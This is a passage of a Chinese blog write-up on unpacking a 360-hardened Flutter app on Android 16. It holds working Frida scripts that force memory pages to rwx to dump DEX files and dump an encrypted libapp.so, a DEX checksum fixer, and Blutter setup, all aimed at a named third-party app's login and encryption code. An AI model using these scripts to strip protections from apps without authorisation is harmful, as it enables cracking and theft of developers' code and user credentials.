&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# -U 表示连接 USB 设备
# -F 表示自动附加到当前最前端显示的 App (Front-most)
frida-dexdump -U -F
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;或者指定包名/进程名：&lt;/em&gt; Bash&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;frida-dexdump -U -n &amp;#x3C;App包名或进程名&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;模式 B：启动模式 (Spawn)&lt;/h4&gt;
&lt;p&gt;适用于 App 启动速度很快，或者你需要在 App 启动的一瞬间就介入。但对于强壳，Spawn 模式容易被反调试检测到。&lt;/p&gt;
&lt;p&gt;Bash&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# -f 后跟包名，会自动重启 App 并注入
frida-dexdump -U -f com.example.targetapp
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. 常用参数详解&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-o &amp;#x3C;路径&gt;&lt;/code&gt; (Output): 指定导出的 DEX 文件保存的文件夹。如果不写，默认会以包名在当前目录生成文件夹。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-d&lt;/code&gt; (Deep Search): &lt;strong&gt;深度搜索模式&lt;/strong&gt;。如果普通模式 Dump 不全或者找不到，加上这个参数。它会扫描更多内存段，速度会慢一些，但更全面。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--sleep &amp;#x3C;秒数&gt;&lt;/code&gt;: 在启动 App 后等待多少秒再开始 Dump。有些壳解密比较慢，可以设置延时等待解密完成。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. 结果分析&lt;/h3&gt;
&lt;p&gt;运行成功后，终端会显示类似 &lt;code&gt;[INFO] DexSize=xxxx, SavePath=...&lt;/code&gt; 的日志。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;打开生成的文件夹。&lt;/li&gt;
&lt;li&gt;你会看到多个 &lt;code&gt;.dex&lt;/code&gt; 文件（如 &lt;code&gt;classes.dex&lt;/code&gt;, &lt;code&gt;classes2.dex&lt;/code&gt;...）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;如何辨别哪个是原本的 DEX？&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;看大小&lt;/strong&gt;：通常最大的那个，或者几 MB 大小的，是业务逻辑所在的 DEX。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用工具查看&lt;/strong&gt;：使用 &lt;code&gt;Jadx&lt;/code&gt; 打开这些 DEX 文件。
&lt;ul&gt;
&lt;li&gt;如果看到包名是 &lt;code&gt;com.qihoo.util&lt;/code&gt; 或类似的，那是壳的代码。&lt;/li&gt;
&lt;li&gt;如果看到了目标 App 的真实包名和业务代码，那就是脱壳成功了。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;5. frida-dexdump注意事项&lt;/h3&gt;
&lt;p&gt;使用 &lt;code&gt;frida-dexdump&lt;/code&gt; 可能会遇到以下情况：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;能 Dump 出结构，但方法是空的 (nop)&lt;/strong&gt; ： 这是因为 有些加密壳使用了&lt;strong&gt;函数抽取&lt;/strong&gt;技术。DEX 文件结构在内存里是完整的，但是具体的方法指令（Code Item）在执行前是空的，只有执行该方法时才临时解密填入，执行完又抹掉。
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;表现&lt;/em&gt;：用 Jadx 打开 Dump 出来的 DEX，能看到类名和方法名，但点进方法看代码时，全是空的或者只有 &lt;code&gt;return&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;em&gt;对策&lt;/em&gt;：这时候 &lt;code&gt;frida-dexdump&lt;/code&gt; 就不够用了，通常需要使用更高级的基于 ART 运行时的主动调用工具（如 &lt;code&gt;FART&lt;/code&gt;、&lt;code&gt;Youpk&lt;/code&gt; 等）来通过遍历调用所有函数强行触发解密。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;反调试导致闪退&lt;/strong&gt;： 如果运行 &lt;code&gt;frida-dexdump&lt;/code&gt; 时 App 闪退，说明被检测到了。
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;对策&lt;/em&gt;：你需要先用 Frida 脚本（如 &lt;code&gt;frida-il2cpp-bridge&lt;/code&gt; 带的 bypass 或者是专门的 Anti-Anti-Frida 脚本）去过掉反调试，或者使用魔改版的 frida-server (hluda)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;总结&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;frida-dexdump&lt;/code&gt; 是脱壳的&lt;strong&gt;第一板斧&lt;/strong&gt;。不管什么壳，先用它跑一遍（建议加 &lt;code&gt;-d&lt;/code&gt; 参数）。运气好能直接拿代码；运气不好（遇到抽取壳），也能拿到完整的类结构，为后续分析打下基础。&lt;/p&gt;
&lt;p&gt;环境准备：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;PC 端&lt;/strong&gt;：&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;手机端&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;手机必须 &lt;strong&gt;Root&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;手机里运行 &lt;code&gt;frida-server&lt;/code&gt;（版本必须和电脑端的 &lt;code&gt;frida-tools&lt;/code&gt; 一致）。&lt;/li&gt;
&lt;li&gt;确保 ADB 连接正常 (&lt;code&gt;adb devices&lt;/code&gt; 能看到设备)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;操作步骤&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在手机上点击打开目标 APP，让它停留在主界面。&lt;/li&gt;
&lt;li&gt;在电脑终端输入命令（推荐使用附加模式，比较稳）：&lt;/li&gt;
&lt;li&gt;如果成功，工具会在当前目录下生成一个以包名命名的文件夹，里面就是脱下来的 &lt;code&gt;.dex&lt;/code&gt; 文件。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1764210708157-6b4a76.GoFo1rpb_29OnW9.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;预期结果&lt;/strong&gt;：在文件夹中生成一堆 &lt;code&gt;.dex&lt;/code&gt; 文件。&lt;strong&gt;实际结果&lt;/strong&gt;：终端直接报红，进程崩溃。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ERROR:frida-dexdump:[-] Error: access violation accessing 0x70316bc000
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;为什么会失败？&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;这是 Android 16 新特性与 360 加固对抗的产物。&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;内存权限收紧&lt;/strong&gt;：Android 16 对内存页的权限管理极其严格。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;加固对抗&lt;/strong&gt;：360 加固在解密 DEX 后，故意将这段内存页的权限设置为  &lt;strong&gt;“仅执行” (x) 或 “不可读”&lt;/strong&gt; 。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;冲突&lt;/strong&gt;：当 &lt;code&gt;frida-dexdump&lt;/code&gt; 试图通过 &lt;code&gt;readByteArray&lt;/code&gt; 去读取这段内存时，因为没有 &lt;code&gt;r&lt;/code&gt; (Read) 权限，触发了系统的 &lt;code&gt;Access Violation&lt;/code&gt;（访问违规），导致脚本或应用崩溃。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;0x02 破局：手写脚本“暴力”提权&lt;/h2&gt;
&lt;p&gt;既然标准工具因为“权限不足”读不到，接下来思路很明确：&lt;strong&gt;我是 Root 用户，我可以在读取之前，强行修改内存权限。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我编写了一个自定义的 Frida 脚本 &lt;code&gt;dump_force.js&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;核心逻辑&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;利用 &lt;code&gt;Process.enumerateRanges&lt;/code&gt; 遍历所有内存段。&lt;/li&gt;
&lt;li&gt;利用 &lt;code&gt;Memory.scan&lt;/code&gt; 暴力搜索 DEX 文件头魔法数 &lt;code&gt;64 65 78 0a&lt;/code&gt; (&lt;code&gt;dex\n&lt;/code&gt;)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关键步骤&lt;/strong&gt;：在读取之前，使用 &lt;code&gt;Memory.protect&lt;/code&gt; 将该内存段强制改为 &lt;code&gt;rwx&lt;/code&gt; (可读可写可执行)。&lt;/li&gt;
&lt;li&gt;读取数据并保存到 SD 卡。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;完整代码实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;// dump_force.js - 暴力修改权限脱壳脚本

function write_dex(ptr, len, index) {
    // 保存路径：/sdcard/Download/，方便后续 adb pull
    var filename = &quot;/sdcard/Download/dump_&quot; + ptr + &quot;_&quot; + len + &quot;.dex&quot;;
    var file = new File(filename, &quot;wb&quot;);
    
    try {
        // 尝试直接读取（如果是普通的内存段）
        var buffer = ptr.readByteArray(len);
        file.write(buffer);
        console.log(&quot;[*] 正常读取成功: &quot; + filename);
    } catch (e) {
        // 捕获 Access Violation 错误
        console.log(&quot;[-] 读取受阻 (360保护)，准备暴力破拆权限...&quot;);
        
        try {
            // 【核心操作】强行修改内存页权限为 rwx
            // ptr: 内存起始地址
            // len: 大小
            Memory.protect(ptr, len, &apos;rwx&apos;);
            
            // 再次尝试读取
            var buffer = ptr.readByteArray(len);
            file.write(buffer);
            console.log(&quot;[+] 权限修改成功！文件已抢救: &quot; + filename);
        } catch (e2) {
            console.log(&quot;[!] 彻底失败，可能是内核级保护或无效地址: &quot; + e2);
        }
    }
    file.close();
}

function scan_dex() {
    console.log(&quot;[*] 开始全内存暴力扫描 DEX 头...&quot;);
    
    // 遍历所有“可读”内存段 (r--)，这通常是 DEX 存放的区域
    // 如果 360 把 DEX 藏在不可读区域，这里参数可以改为 &apos;---&apos; 或 &apos;r-x&apos;
    Process.enumerateRanges(&apos;r--&apos;).forEach(function (range) {
        try {
            // 搜索 DEX 特征头: dex\n (64 65 78 0a)
            // 360 可能会抹掉版本号(035)，所以只搜前4个字节
            Memory.scan(range.base, range.size, &quot;64 65 78 0a&quot;, {
                onMatch: function (address, size) {
                    // 简单的校验：DEX 文件偏移 0x20 处存放了文件大小
                    try {
                        var dex_size = address.add(0x20).readUInt();
                        
                        // 过滤掉太小的垃圾数据 (小于 100KB)
                        if (dex_size &gt; 100000 &amp;#x26;&amp;#x26; dex_size &amp;#x3C; 50000000) {
                            console.log(&quot;[+] 发现 DEX 魔法数: &quot; + address + &quot; 大小: &quot; + dex_size);
                            // 执行导出
                            write_dex(address, dex_size, address.toString());
                        }
                    } catch (e) {}
                },
                onError: function (reason) {},
                onComplete: function () {}
            });
        } catch (e) {}
    });
}

setImmediate(scan_dex);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;执行结果&lt;/h3&gt;
&lt;p&gt;运行命令 frida -U -F -l dump_force.js 后，终端刷出了一片绿色的 [+] 权限修改成功。&lt;/p&gt;
&lt;p&gt;随后我使用 adb pull /sdcard/Download/ . 将文件拉回电脑，得到了几个关键文件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dump_0x70316bc000.dex&lt;/code&gt; (约 8MB)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dump_0x7031655480.dex&lt;/code&gt; (约 6.7MB)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;这一步，战胜了 Android 16 的权限限制，拿到了加密后的内存镜像。&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x03 迷雾：看起来完美的“空壳”&lt;/h2&gt;
&lt;p&gt;由于是从内存 dump 的，文件头部的 Checksum（校验和）通常是错的。直接拖入 JADX 会报错。&lt;/p&gt;
&lt;p&gt;我编写了一个简单的 Python 脚本修复了校验和，然后将那个 8MB 的 DEX 文件拖入 &lt;strong&gt;JADX&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;import zlib
import struct
import os
import glob

def fix_dex_checksum(filename):
    with open(filename, &apos;rb&apos;) as f:
        data = bytearray(f.read())

    # DEX 文件至少要有头部信息
    if len(data) &amp;#x3C; 12:
        print(f&quot;[-] {filename} is too small, skipping.&quot;)
        return

    # 1. 修复文件长度 (FileSize) - Offset 32 (0x20), 4 bytes
    # 有些 dump 下来的文件长度可能和 header 里的不一样，顺便修了
    file_size = len(data)
    struct.pack_into(&apos;&amp;#x3C;I&apos;, data, 32, file_size)

    # 2. 修复签名 (Signature) - Offset 12 (0xC), 20 bytes (SHA-1)
    # JADX 有时候不校验签名只校验 checksum，但为了保险，标准修复通常会做 SHA1
    # 3. 修复校验和 (Checksum) - Offset 8 (0x8), 4 bytes
    # 校验范围：从 offset 12 开始到文件结束
    # 算法：Adler-32
    ignored_part = data[0:12]
    checksum_part = data[12:]
    
    new_checksum = zlib.adler32(checksum_part) &amp;#x26; 0xFFFFFFFF
    
    # 将新的 checksum 写入 offset 8 (小端序)
    struct.pack_into(&apos;&amp;#x3C;I&apos;, data, 8, new_checksum)

    # 保存覆盖原文件
    with open(filename, &apos;wb&apos;) as f:
        f.write(data)
    
    print(f&quot;[+] Fixed Checksum for: {filename}&quot;)

# 扫描当前目录下所有的 dump_force 开头的 dex
dex_files = glob.glob(&quot;dump_force_*.dex&quot;)

if not dex_files:
    print(&quot;No dump_force_*.dex files found in current directory.&quot;)
else:
    print(f&quot;Found {len(dex_files)} dex files. Fixing...&quot;)
    for dex in dex_files:
        try:
            fix_dex_checksum(dex)
        except Exception as e:
            print(f&quot;[-] Error fixing {dex}: {e}&quot;)

    print(&quot;Done! Try opening them in JADX now.&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JADX 成功反编译了，左侧的包结构非常清晰：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;android.support.*&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;com.qihoo.util.*&lt;/code&gt; (壳代码)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cn.com.ljzxx.*&lt;/code&gt; (目标包名)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;但当我兴奋地点开&lt;/strong&gt; &lt;strong&gt;&lt;strong&gt;&lt;code&gt;cn.com.ljzxxc&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;下的业务类时，傻眼了：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Java&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;// LoginActivity.java
public class LoginActivity extends Activity {
    public void onCreate(Bundle bundle) {
        // 空的！或者只有一行 super.onCreate(bundle);
    }
    
    public void login() {
        // 空的！
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所有的方法体要么是空的，要么全是 &lt;code&gt;nop&lt;/code&gt; 指令，要么只有简单的 &lt;code&gt;return&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;这里的思考&lt;/h3&gt;
&lt;p&gt;这非常符合  &lt;strong&gt;“二代壳（函数抽取/类抽取）”&lt;/strong&gt;  的特征。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：加固厂商把 DEX 里的具体指令（Code Item）抽走了，填入空数据。只有当这个方法被真正调用时，壳的代码才会拦截执行流，从别的地方（通常是加密的 bin 文件）解密出指令，填回去，执行完再抹掉。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结论&lt;/strong&gt;：我 Dump 下来的是“未填充”的骨架。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;0x04 挣扎：FART 主动调用的死胡同&lt;/h2&gt;
&lt;p&gt;既然是“用时恢复”，那破解思路就是  &lt;strong&gt;“主动触发”&lt;/strong&gt; 。这就是著名的 &lt;strong&gt;FART (Fast Android Art Unpacker)&lt;/strong&gt;  原理。&lt;/p&gt;
&lt;p&gt;只要我写个脚本，把 APP 里所有的类加载一遍，把所有函数都“摸”一遍，壳就不得不解密代码，我再趁机 Dump。&lt;/p&gt;
&lt;p&gt;我编写了一个基于 Frida 的 FART 模拟脚本 &lt;code&gt;fart_memory.js&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;// fart_memory.js - 模拟 FART 主动调用
Java.perform(function() {
    console.log(&quot;[*] 开始遍历内存中的类...&quot;);
    
    // 1. 遍历所有已加载的类
    Java.enumerateLoadedClasses({
        onMatch: function(name) {
            // 过滤：只处理目标包名
            if (name.startsWith(&quot;cn.com.ljzitc&quot;)) {
                console.log(&quot;[*] 尝试预热类: &quot; + name);
                try {
                    // 2. 强行加载类
                    var clazz = Java.use(name);
                    // 3. 反射获取所有方法，触发壳的解密逻辑
                    var methods = clazz.class.getDeclaredMethods();
                    console.log(&quot;    - 触发解密成功，方法数: &quot; + methods.length);
                } catch (e) {
                    console.log(&quot;    - 失败: &quot; + e);
                }
            }
        },
        onComplete: function() {
            console.log(&quot;[SUCCESS] 遍历结束，请立刻 Dump！&quot;);
        }
    });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果令人绝望：&lt;/p&gt;
&lt;p&gt;脚本运行后，只打印出了寥寥无几的几个类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cn.com.ljzitc.R$id&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cn.com.ljzitc.R$layout&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cn.com.ljzitc.BuildConfig&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;根本没有 LoginActivity，没有 Utils，没有任何业务类&lt;/p&gt;
&lt;p&gt;这意味着这些核心类 根本没有被加载到 Java 虚拟机中，或者 360 用了某种（如自定义 ClassLoader）把它们从 enumerateLoadedClasses 的列表中隐藏了。&lt;/p&gt;
&lt;p&gt;我随后尝试了更底层的 &lt;code&gt;Java.choose(&quot;dalvik.system.DexFile&quot;, ...)&lt;/code&gt; 去扫描堆内存，结果因为 Android 16 移除了相关 API 而报错。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x05 结果：方向错了！&lt;/h2&gt;
&lt;p&gt;我在 Java 层折腾了整整一天，尝试了脱壳、修复、主动调用、内存扫描，结果依然是一具空壳。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;疑点&lt;/strong&gt;：如果核心代码都被抽取了且没加载，那现在的 APP 界面是谁在跑？登录框是谁画出来的？&lt;/p&gt;
&lt;p&gt;我重新审视了那个 8MB 的 DEX 文件。虽然代码是空的，但我决定看看里面的 字符串常量池。&lt;/p&gt;
&lt;p&gt;我用 strings 命令（或记事本）搜索文件内容，突然，一行不起眼的路径映入眼帘：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;/data/app/~~xxx/cn.com.ljzitc.../lib/arm64/libapp.so&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;libapp.so？这是一个非标准的 SO 命名。&lt;/p&gt;
&lt;p&gt;我立刻解压了原始 APK，打开 lib/arm64-v8a/ 目录。&lt;/p&gt;
&lt;p&gt;那一刻，真相大白：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1764210708244-1c4521.msmgYLji_Z2YVVs.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;libflutter.so   &amp;#x3C;-- 引擎
libapp.so       &amp;#x3C;-- 业务代码

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;这是一个 Flutter 应用！&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;最终结论&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;为什么 DEX 是空的？&lt;/strong&gt;  因为 Flutter 应用的业务逻辑（Dart 代码）是 AOT 编译成机器码放在 &lt;code&gt;libapp.so&lt;/code&gt; 里的。DEX 里只有 Java 层的启动引导代码，本来就没多少东西。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;360 保护了什么？&lt;/strong&gt;  360 确实加了壳，但它主要保护的是 Java 层（虽然没啥用）和 &lt;strong&gt;加密了&lt;/strong&gt; &lt;strong&gt;&lt;strong&gt;&lt;code&gt;libapp.so&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我的错误&lt;/strong&gt;：我一直在试图脱掉它的衣服找肉体，结果发现衣服下面是机械骨骼,完全就是搞错对象了。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下一步行动：&lt;/p&gt;
&lt;p&gt;放弃 DEX，放弃 FART。&lt;/p&gt;
&lt;p&gt;目标锁定：libapp.so。我们需要从内存中 Dump 出这个文件，然后进行 Dart 逆向。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;我们将视角从 Java 层的死胡同拉出来，正式进入 Native 层与 Flutter 虚拟机的深水区。这一部分的战斗更加硬核，涉及到内存黑洞、环境依赖地狱以及指针修正等底层细节。&lt;/p&gt;
&lt;p&gt;历经千辛万苦利用暴力提权脚本 Dump 出了 DEX 文件，结果发现全是空壳。通过分析文件残留字符串，我确认这是一个 Flutter 应用。真正的业务逻辑藏在 Native 层的 libapp.so 中。&lt;/p&gt;
&lt;p&gt;~~现在的任务很明确：~~&lt;strong&gt;~~拿到~~&lt;/strong&gt;  ~~&lt;strong&gt;&lt;strong&gt;~~&lt;code&gt;libapp.so&lt;/code&gt;~~&lt;/strong&gt;&lt;/strong&gt;~~   ~~&lt;strong&gt;-&gt;&lt;/strong&gt;~~   ~~&lt;strong&gt;还原 Dart 代码 -&gt;&lt;/strong&gt;~~   ~~&lt;strong&gt;Hook 获取明文。&lt;/strong&gt;~~&lt;/p&gt;
&lt;p&gt;但这在 Android 16 + 360 加固的组合拳下，比我想象的难得多。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第二阶段:0x01 尝试1：提取 libapp.so 的三大难关&lt;/h2&gt;
&lt;p&gt;360 加固对 SO 文件的保护通常是“压缩 + 加密 + 内存加载”。直接解压 APK 得到的是加密文件，必须从内存中 Dump。&lt;/p&gt;
&lt;p&gt;写了一个 Frida 脚本去 Dump，结果脚本刚跑起来就崩了。&lt;/p&gt;
&lt;h3&gt;难关一：API 的“失踪”&lt;/h3&gt;
&lt;p&gt;在 Android 16 上，Frida 常用的 Module.findBaseAddress(&quot;libapp.so&quot;) 竟然抛出了 TypeError: not a function 或者找不到模块。&lt;/p&gt;
&lt;p&gt;原因：Android 16 对 Linker 做了一些改动，导致 Frida 的部分上层 API 兼容性出现问题。&lt;/p&gt;
&lt;p&gt;解决：我被迫使用了更底层的 Process.findModuleByName(&quot;libapp.so&quot;)，这个 API 依然坚挺。&lt;/p&gt;
&lt;h3&gt;难关二：内存“黑洞”&lt;/h3&gt;
&lt;p&gt;解决了基址问题后，我尝试读取整个 SO 文件大小的内存 (readByteArray(module.size))。结果脚本再次崩溃，报错 Access Violation。&lt;/p&gt;
&lt;p&gt;原因：360 加固，它加载 SO 后，会把 ELF 头（Header）或者某些不用的 Section 所在的内存页取消映射或者设为不可读。试图一口气读完整个文件，只要碰到这几页“黑洞”，就会引发崩溃。&lt;/p&gt;
&lt;p&gt;对策：分块容错读取（Chunked Dump）&lt;/p&gt;
&lt;p&gt;我重写了脚本，像切香肠一样，每次只读 4KB（一页）。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;读到了？写入文件。&lt;/li&gt;
&lt;li&gt;读不到（报错）？填入 4KB 的 0x00 占位，跳过这一页。&lt;br&gt;
这样既保证了文件不崩，又保证了偏移量（Offset）不乱——这对后续分析至关重要。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;难关三：无处安放的“家”&lt;/h3&gt;
&lt;p&gt;脚本想把文件写到 /data/local/tmp，结果报错 Permission denied。&lt;/p&gt;
&lt;p&gt;原因：Android 16 的 SELinux 策略到了变态的地步，普通 APP 进程（Frida 注入后属于 APP 进程）根本无权写入这个公共目录。&lt;/p&gt;
&lt;p&gt;解决：利用 Java 反射获取 APP 自己的私有目录 getFilesDir()，回自己家写文件总没人管了吧！&lt;/p&gt;
&lt;h3&gt;🎯 最终成果脚本 (&lt;code&gt;dump_so_final.js&lt;/code&gt;)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;var target_so = &quot;libapp.so&quot;;

Java.perform(function() {
    // 1. 兼容性查找模块
    var module = Process.findModuleByName(target_so);
    
    // 2. 获取私有目录路径 (Android 16 避坑)
    var currentApp = Java.use(&quot;android.app.ActivityThread&quot;).currentApplication();
    var save_path = currentApp.getApplicationContext().getFilesDir().getAbsolutePath() + &quot;/&quot; + target_so + &quot;.dump&quot;;
    var file = new File(save_path, &quot;wb&quot;);

    // 3. 分块抗崩溃读取
    var currentPtr = module.base;
    var remaining = module.size;
    var pageSize = 4096;

    console.log(&quot;[*] 开始分块提取，遇到坏块自动填0...&quot;);
    while (remaining &gt; 0) {
        try {
            var buffer = currentPtr.readByteArray(pageSize);
            file.write(buffer);
        } catch (e) {
            // 遇到 360 挖的坑，填 0 补齐，保持偏移量正确
            file.write(new Uint8Array(pageSize).buffer);
        }
        currentPtr = currentPtr.add(pageSize);
        remaining -= pageSize;
    }
    file.close();
    console.log(&quot;[Success] 提取完成！路径: &quot; + save_path);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行脚本后，我通过 Root 权限将这个 13MB 的文件从私有目录 &lt;code&gt;cp&lt;/code&gt; 到了 SD 卡，终于把它拿到了电脑上。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x02 尝试2：Blutter 与环境的配置&lt;/h2&gt;
&lt;p&gt;拿到了 &lt;code&gt;libapp.so.dump&lt;/code&gt;，但这只是二进制机器码（Dart AOT Snapshot）。如果不还原符号，这就跟看天书一样。我需要 &lt;strong&gt;Blutter&lt;/strong&gt; 帮我把机器码翻译回 Dart 伪代码。&lt;/p&gt;
&lt;h3&gt;Windows 环境的“劝退”&lt;/h3&gt;
&lt;p&gt;我首先在 Windows 上尝试运行 Blutter。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;CMake Error&lt;/code&gt;: 找不到编译器。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ninja not found&lt;/code&gt;: 找不到构建工具。&lt;/li&gt;
&lt;li&gt;最绝望的是 &lt;code&gt;Failed to find all ICU components&lt;/code&gt;。Dart VM 的编译依赖 ICU 库，在 Windows 上配置这个简直是噩梦。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;决策：不要在 Windows 上浪费生命配置环境。&lt;/p&gt;
&lt;p&gt;果断打开了 kali。Linux 下配环境只需要一行命令：&lt;/p&gt;
&lt;p&gt;Bash&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# 一键安装所有编译依赖
sudo apt update &amp;#x26;&amp;#x26; sudo apt install -y ninja-build build-essential cmake pkg-config libicu-dev git
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;修复与分析&lt;/h3&gt;
&lt;p&gt;因为文件是从内存 Dump 的，ELF 头部是损坏的，直接喂给 Blutter 会报错。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;修复头&lt;/strong&gt;：使用 &lt;code&gt;SoFixer&lt;/code&gt; 工具：&lt;code&gt;SoFixer -s libapp.so.dump -o libapp.so&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;准备引擎&lt;/strong&gt;：从原始 APK 解压出 &lt;code&gt;libflutter.so&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;开始分析&lt;/strong&gt;：&lt;code&gt;python3 blutter.py input output&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;看着 kali 终端里滚动的进度条，我知道稳了。&lt;/p&gt;
&lt;p&gt;几分钟后，output/asm 目录下出现了一堆熟悉的文件名：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;loginPwd.dart&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;encrypt.dart&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Authentication.dart&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
